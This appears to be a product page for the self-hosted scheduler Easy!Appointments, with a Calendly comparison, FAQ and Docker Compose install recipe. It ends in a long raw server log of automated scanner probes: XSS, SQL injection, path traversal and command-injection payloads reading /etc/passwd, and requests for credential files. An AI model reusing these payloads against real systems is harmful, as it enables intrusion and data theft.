Easy!Appointments replaces Calendly and Acuity with a self-hosted scheduling hub for service bookings, staff calendars, and private client data.
Alex Tselegidis built Easy!Appointments to provide an open-source, self-hosted appointment scheduler for organizations that need complete custody of their booking data. Rather than renting recurring seats from third-party booking clouds, businesses install the application on their own infrastructure to manage staff schedules and customer appointments directly. That foundation gives small teams and service providers an independent scheduling engine with no artificial booking quotas.
Calendly structures its workflow around individual or team meeting links, which works well for knowledge workers scheduling video calls. In contrast, Easy!Appointments organizes scheduling around a business service catalog. Clients visit a single public booking page to choose from a menu of services, select an available specialist or let the system assign one, and reserve a time slot. This flow mirrors how salons, clinics, consulting offices, and public desks operate, presenting an organized booking portal rather than disjointed personal links.
The difference in workflow also affects administrative control. Easy!Appointments lets customers book time without creating accounts or loading third-party tracking scripts, keeping client contact records within an organization's private MySQL database. However, Calendly provides greater out-of-the-box convenience for sales teams, including automated SMS reminders, round-robin distribution, and native payment collection at booking. Replacing Calendly with Easy!Appointments eliminates recurring per-user fees, but organizations must handle payments separately and provide their own mail server for notifications.
Is Easy!Appointments free for commercial use? Yes. You can install and operate Easy!Appointments for commercial businesses without licensing fees or per-user subscription charges.
Easy!Appointments vs Calendly — which is better for service businesses? Easy!Appointments fits service businesses that need a multi-provider service menu hosted on private infrastructure, while Calendly suits distributed teams that require automated text reminders and upfront payment collection.
Does Easy!Appointments sync with Google Calendar? Yes. Each provider can link their schedule to Google Calendar or a CalDAV server so that external events block out booking availability automatically.
Easy!Appointments is an excellent fit for service firms, medical practices, and academic offices that want a self-managed booking hub without per-seat subscription invoices, provided they do not require built-in card processing at checkout. Ongoing development through September 2026 and a GPL-3.0 license guarantee that your organization retains permanent ownership over your scheduling workflows and client records.
We started this exact setup from scratch in a clean Linux machine on Nov 3, 2026 and checked it through Easy!Appointments's own API: every check passed. Recipes are re-checked regularly and removed if they stop working.
mkdir -p easy-appointments && cd easy-appointments
curl -fsSL https://open-source.store/tools/easy-appointments/compose.yml -o compose.ymlcat > .env <<EOF
BASE_URL=http://localhost:8080
DB_PASSWORD=$(openssl rand -hex 12)
MYSQL_ROOT_PASSWORD=$(openssl rand -hex 12)
EOFBASE_URL — Public base URL of the Easy!Appointments application (e.g. http://<your-server>:8080 or https://appointments.example.com); set without a trailing slash.DB_PASSWORD — Password for the Easy!Appointments database user. Generated above; keep it secret.MYSQL_ROOT_PASSWORD — Root password for the MySQL database server. Generated above; keep it secret.docker compose up -dservices:
easyappointments:
image: alextselegidis/easyappointments:1.6.1
restart: always
ports:
- "8080:80"
environment:
BASE_URL: ${BASE_URL}
DB_HOST: mysql
DB_NAME: easyappointments
DB_USERNAME: easyappointments
DB_PASSWORD: ${DB_PASSWORD}
depends_on:
mysql:
condition: service_healthy
healthcheck:
test: ["CMD-SHELL", "curl -f -L http://localhost/ || exit 1"]
interval: 10s
timeout: 5s
retries: 5
start_period: 30s
mysql:
image: mysql:8.0.46
restart: always
environment:
MYSQL_ROOT_PASSWORD: ${MYSQL_ROOT_PASSWORD}
MYSQL_DATABASE: easyappointments
MYSQL_USER: easyappointments
MYSQL_PASSWORD: ${DB_PASSWORD}
volumes:
- mysql_data:/var/lib/mysql
healthcheck:
test: ["CMD-SHELL", "mysqladmin ping -h 127.0.0.1 -u root -p$${MYSQL_ROOT_PASSWORD} || exit 1"]
interval: 5s
timeout: 5s
retries: 30
start_period: 20s
volumes:
mysql_data:
Free IDE for Java, Kotlin, Go, TypeScript and Python. Built on IntelliJ Community, fully open source, 300+ plugins.
Show that Easy!Appointments is listed as an open-source alternative. Paste into your README:
Ubuntu 24.04 · Apple container, Docker 29.1.3, Compose 2.40.3+ds1-0ubuntu1~24.04.1. Images pulled in 49 s: alextselegidis/easyappointments:1.6.1, mysql:8.0.46.
Based on the upstream setup. Official compose setup from easyappointments-docker. Images pinned to 1.6.1 and mysql:8.0.46; database passwords and public base URL moved to environment variables; healthchecks added.
easyappointments-1 | 2026-11-03T04:05:44.277353922Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /wp-admin/tools.php?content&wp-attachment-export-download=true HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36"
easyappointments-1 | 2026-11-03T04:05:44.277443297Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /wp-admin/tools.php?content&wp-attachment-export-download=true HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
easyappointments-1 | 2026-11-03T04:05:44.277524589Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /database/auth.json HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15"
easyappointments-1 | 2026-11-03T04:05:44.277641755Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /LetsEncrypt/Index?fileName=/etc/passwd HTTP/1.1" 404 500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0"
easyappointments-1 | 2026-11-03T04:05:44.279029172Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /jeecg-boot/actuator/httptrace/ HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15"
easyappointments-1 | 2026-11-03T04:05:44.279037964Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /scripts/wa.exe?OK=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 404 481 "-" "Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36"
easyappointments-1 | 2026-11-03T04:05:44.279267005Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /api/v1/ndconfig?mode=lean&uid=1'%20UNION%20select%201,2,3,sqlite_version();-- HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1"
easyappointments-1 | 2026-11-03T04:05:44.279817505Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /pmb/admin/convert/export_z3950_new.php?command=search&query=%3Cscript%3Ealert(document.domain);%3C/script%3E=or HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
easyappointments-1 | 2026-11-03T04:05:44.281534339Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /jeecg-boot/actuator/httptrace/ HTTP/1.1" 404 481 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"
easyappointments-1 | 2026-11-03T04:05:44.282002880Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /api/v1/data?chart=system.cpu&format=json&points=125&group=average>ime=0&options=ms%7Cflip%7Cjsonwrap%7Cnonzero&after=-120&dimensions=iowait HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
easyappointments-1 | 2026-11-03T04:05:44.282617089Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /storage/framework/sessions/ HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0"
easyappointments-1 | 2026-11-03T04:05:44.282901380Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /cliniccases/lib/php/data/messages_load.php?type=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 404 481 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0"
easyappointments-1 | 2026-11-03T04:05:44.282973964Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /api/v1/data?chart=system.cpu&format=json&points=125&group=average>ime=0&options=ms%7Cflip%7Cjsonwrap%7Cnonzero&after=-120&dimensions=iowait HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.15"
easyappointments-1 | 2026-11-03T04:05:44.283197797Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /page/hello/1%22%3E%3Csvg/onload=alert(document.domain)%3E HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5"
easyappointments-1 | 2026-11-03T04:05:44.283368505Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /downloads/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Safari/605.1.15"
easyappointments-1 | 2026-11-03T04:05:44.283552297Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /__raw/services/server/info/server-info?output_mode=json HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0"
easyappointments-1 | 2026-11-03T04:05:44.283847172Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /storage/framework/sessions/ HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Safari/605.1.15"
easyappointments-1 | 2026-11-03T04:05:44.284076755Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /api/v1/ndconfig?mode=lean&uid=1'%20UNION%20select%201,2,3,sqlite_version();-- HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/58.0.1"
easyappointments-1 | 2026-11-03T04:05:44.285255922Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "POST / HTTP/1.1" 403 2254 "\\x00" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; de-de) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20"
easyappointments-1 | 2026-11-03T04:05:44.285519714Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /pmb/admin/convert/export_z3950_new.php?command=search&query=%3Cscript%3Ealert(document.domain);%3C/script%3E=or HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0"
easyappointments-1 | 2026-11-03T04:05:44.285619005Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /api/settings/ HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.7 Safari/605.1.15"
easyappointments-1 | 2026-11-03T04:05:44.285687547Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /scripts/wa.exe?OK=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36"
easyappointments-1 | 2026-11-03T04:05:44.287169589Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "POST / HTTP/1.1" 403 2254 "\\x00" "Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
easyappointments-1 | 2026-11-03T04:05:44.300234964Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /index.php?lvl=author_see&id=42691%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 200 20827 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
easyappointments-1 | 2026-11-03T04:05:44.300805214Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /api/settings/ HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
easyappointments-1 | 2026-11-03T04:05:44.300853505Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /xwiki/bin/view/XWiki/Main?xpage=restore&showBatch=true&xredirect=javascript:alert(document.domain) HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15"
easyappointments-1 | 2026-11-03T04:05:44.301094089Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /keys/auth.json HTTP/1.1" 404 481 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.17"
easyappointments-1 | 2026-11-03T04:05:44.301158714Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /report/download.php?pdf=../../../../../etc/passwd HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15"
easyappointments-1 | 2026-11-03T04:05:44.301215255Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /xwiki/bin/view/XWiki/Main?xpage=restore&showBatch=true&xredirect=javascript:alert(document.domain) HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0"
easyappointments-1 | 2026-11-03T04:05:44.301268339Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /page/1%22%3E%3Csvg/onload=alert(document.domain)%3E HTTP/1.1" 404 481 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0"
easyappointments-1 | 2026-11-03T04:05:44.301319339Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /matomo/index.php?module=API&method=VisitsSummary.get&idSite=1&period=day&date=today&format=json&token_auth=anonymous HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0"
easyappointments-1 | 2026-11-03T04:05:44.301339380Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /appmonitor/protected/selector/server_file/files?folder=/&suffix HTTP/1.1" 404 481 "-" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
easyappointments-1 | 2026-11-03T04:05:44.301416547Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /webshell4/login.php?errcode=0&login=\\%22%20onfocus=alert(document.domain);%20autofocus%20\\%22&err=U HTTP/1.1" 404 481 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0"
easyappointments-1 | 2026-11-03T04:05:44.301466797Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /matomo/index.php?module=API&method=SitesManager.getAllSites&format=json&token_auth=anonymous HTTP/1.1" 404 481 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0"
easyappointments-1 | 2026-11-03T04:05:44.303577130Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /index.php?redirect=//interact.sh HTTP/1.1" 200 20675 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15"
easyappointments-1 | 2026-11-03T04:05:44.303730714Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /api/downloads?fileName=../../../../../../../../etc/passwd HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"
easyappointments-1 | 2026-11-03T04:05:44.303909089Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /OA_HTML/bin/sqlnet.log HTTP/1.1" 404 481 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.8"
easyappointments-1 | 2026-11-03T04:05:44.303981214Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /api/downloads?fileName=../../../../../../../../etc/passwd HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
easyappointments-1 | 2026-11-03T04:05:44.304040964Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /OA_HTML/bin/sqlnet.log HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36"
easyappointments-1 | 2026-11-03T04:05:44.304093547Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /report/download.php?pdf=../../../../../etc/passwd HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0"
easyappointments-1 | 2026-11-03T04:05:44.304306505Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /fw.progrss.details.php?popup=..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1" 404 481 "-" "Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36"
easyappointments-1 | 2026-11-03T04:05:44.304309714Z [Tue Nov 03 04:05:44.304279 2026] [php:error] [pid 226:tid 226] [client 192.168.65.140:36842] script '/var/www/html/fw.progrss.details.php' not found or unable to stat
easyappointments-1 | 2026-11-03T04:05:44.304393964Z [Tue Nov 03 04:05:44.304383 2026] [php:error] [pid 223:tid 223] [client 192.168.65.140:36878] script '/var/www/html/fw.progrss.details.php' not found or unable to stat
easyappointments-1 | 2026-11-03T04:05:44.304416630Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /fw.progrss.details.php?popup=..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Edge/117.0 Safari/537.36"
easyappointments-1 | 2026-11-03T04:05:44.304740839Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /WebMstr7/servlet/mstrWeb?evt=3045&src=mstrWeb.3045&subpage=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15"
easyappointments-1 | 2026-11-03T04:05:44.310206630Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /index.php?redirect=//interact.sh HTTP/1.1" 200 20676 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.2 Safari/605.1.15"
easyappointments-1 | 2026-11-03T04:05:44.312152547Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /piwik/index.php?module=API&method=VisitsSummary.get&idSite=1&period=day&date=today&format=json&token_auth=anonymous HTTP/1.1" 404 481 "-" "Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36"
easyappointments-1 | 2026-11-03T04:05:44.312315339Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /main/calendar/agenda_list.php?type=xss\"+onmouseover=alert(document.domain)+\" HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0.1 Safari/605.1.15"
easyappointments-1 | 2026-11-03T04:05:44.312364005Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /Pic/Indexs?imgs=DJwkiEm6KXJZ7aEiGyN4Cz83Kn1PLaKA09 HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; it-it) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27"
easyappointments-1 | 2026-11-03T04:05:44.312935964Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /?static=1&order=asc HTTP/1.1" 200 20829 "-" "Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
easyappointments-1 | 2026-11-03T04:05:44.313408047Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /web.config.i18n.ashx?l=khpvi&v=khpvi HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
easyappointments-1 | 2026-11-03T04:05:44.313469380Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /main/calendar/agenda_list.php?type=xss\"+onmouseover=alert(document.domain)+\" HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1.4 Safari/605.1.15"
easyappointments-1 | 2026-11-03T04:05:44.313510255Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /admin/?n=product&c=product_admin&a=dopara&app_type=shop&id=1%20union%20SELECT%201,2,3,25367*75643,5,6,7%20limit%205,1%20%23 HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15"
easyappointments-1 | 2026-11-03T04:05:44.313926214Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /login.jsp?onlyOnePerVM=hebing%27%3E%3Csvg%20onload=alert(document.domain)%3E HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Mobile/15E148 Safari/604.1"
easyappointments-1 | 2026-11-03T04:05:44.314239130Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /linuxki/experimental/vis/kivis.php?type=kitrace&pid=0;echo%20START;cat%20/etc/passwd;echo%20END; HTTP/1.1" 404 481 "-" "Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36"
easyappointments-1 | 2026-11-03T04:05:44.314307255Z [Tue Nov 03 04:05:44.314293 2026] [access_compat:error] [pid 210:tid 210] [client 192.168.65.140:37262] AH01797: client denied by server configuration: /var/www/html/storage/sessions/
easyappointments-1 | 2026-11-03T04:05:44.314453089Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /storage/sessions/ HTTP/1.1" 403 484 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5.1 Safari/605.1.15"
easyappointments-1 | 2026-11-03T04:05:44.318078880Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /index.php?page=install HTTP/1.1" 429 612 "-" "Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36"
easyappointments-1 | 2026-11-03T04:05:44.321034005Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /index.php?g=g&m=Door&a=index&content=<?php%20echo%20md5('ThinkCMF'); HTTP/1.1" 200 20828 "-" "Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"
easyappointments-1 | 2026-11-03T04:05:44.321212089Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /WebMstr7/servlet/mstrWeb?evt=3045&src=mstrWeb.3045&subpage=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 404 481 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
easyappointments-1 | 2026-11-03T04:05:44.322729672Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /?static=1&order=asc HTTP/1.1" 429 612 "-" "Mozilla/5.0 (X11; Linux i686; rv:124.0) Gecko/20100101 Firefox/124.0"
easyappointments-1 | 2026-11-03T04:05:44.322920630Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /db/auth.json HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) ConnectPC Safari/537.36 Browser"
easyappointments-1 | 2026-11-03T04:05:44.323929130Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "POST /general/userinfo.php?UID=1 HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36"
easyappointments-1 | 2026-11-03T04:05:44.324210005Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /admin/?n=language&c=language_general&a=doSearchParameter&editor=cn&word=search&appno=0+union+select+98989*443131,1--+&site=admin HTTP/1.1" 404 481 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/9.0"
easyappointments-1 | 2026-11-03T04:05:44.324314547Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /api/v1/repos/search?q=%27)%09UNION%09SELECT%09*%09FROM%09(SELECT%09null)%09AS%09a1%09%09JOIN%09(SELECT%091)%09as%09u%09JOIN%09(SELECT%09user())%09AS%09b1%09JOIN%09(SELECT%09user())%09AS%09b2%09JOIN%09(SELECT%09null)%09as%09a3%09%09JOIN%09(SELECT%09null)%09as%09a4%09%09JOIN%09(SELECT%09null)%09as%09a5%09%09JOIN%09(SELECT%09null)%09as%09a6%09%09JOIN%09(SELECT%09null)%09as%09a7%09%09JOIN%09(SELECT%09null)%09as%09a8%09%09JOIN%09(SELECT%09null)%09as%09a9%09JOIN%09(SELECT%09null)%09as%09a10%09JOIN%09(SELECT%09null)%09as%09a11%09JOIN%09(SELECT%09null)%09as%09a12%09JOIN%09(SELECT%09null)%09as%09a13%09%09JOIN%09(SELECT%09null)%09as%09a14%09%09JOIN%09(SELECT%09null)%09as%09a15%09%09JOIN%09(SELECT%09null)%09as%09a16%09%09JOIN%09(SELECT%09null)%09as%09a17%09%09JOIN%09(SELECT%09null)%09as%09a18%09%09JOIN%09(SELECT%09null)%09as%09a19%09%09JOIN%09(SELECT%09null)%09as%09a20%09%09JOIN%09(SELECT%09null)%09as%09a21%09%09JOIN%09(SELECT%09null)%09as%09a22%09where%09(%27%25%27=%27 HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0"
easyappointments-1 | 2026-11-03T04:05:44.324474589Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /api/v1/repos/search?q=%27)%09UNION%09SELECT%09*%09FROM%09(SELECT%09null)%09AS%09a1%09%09JOIN%09(SELECT%091)%09as%09u%09JOIN%09(SELECT%09user())%09AS%09b1%09JOIN%09(SELECT%09user())%09AS%09b2%09JOIN%09(SELECT%09null)%09as%09a3%09%09JOIN%09(SELECT%09null)%09as%09a4%09%09JOIN%09(SELECT%09null)%09as%09a5%09%09JOIN%09(SELECT%09null)%09as%09a6%09%09JOIN%09(SELECT%09null)%09as%09a7%09%09JOIN%09(SELECT%09null)%09as%09a8%09%09JOIN%09(SELECT%09null)%09as%09a9%09JOIN%09(SELECT%09null)%09as%09a10%09JOIN%09(SELECT%09null)%09as%09a11%09JOIN%09(SELECT%09null)%09as%09a12%09JOIN%09(SELECT%09null)%09as%09a13%09%09JOIN%09(SELECT%09null)%09as%09a14%09%09JOIN%09(SELECT%09null)%09as%09a15%09%09JOIN%09(SELECT%09null)%09as%09a16%09%09JOIN%09(SELECT%09null)%09as%09a17%09%09JOIN%09(SELECT%09null)%09as%09a18%09%09JOIN%09(SELECT%09null)%09as%09a19%09%09JOIN%09(SELECT%09null)%09as%09a20%09%09JOIN%09(SELECT%09null)%09as%09a21%09%09JOIN%09(SELECT%09null)%09as%09a22%09where%09(%27%25%27=%27 HTTP/1.1" 404 481 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:137.0) Gecko/20100101 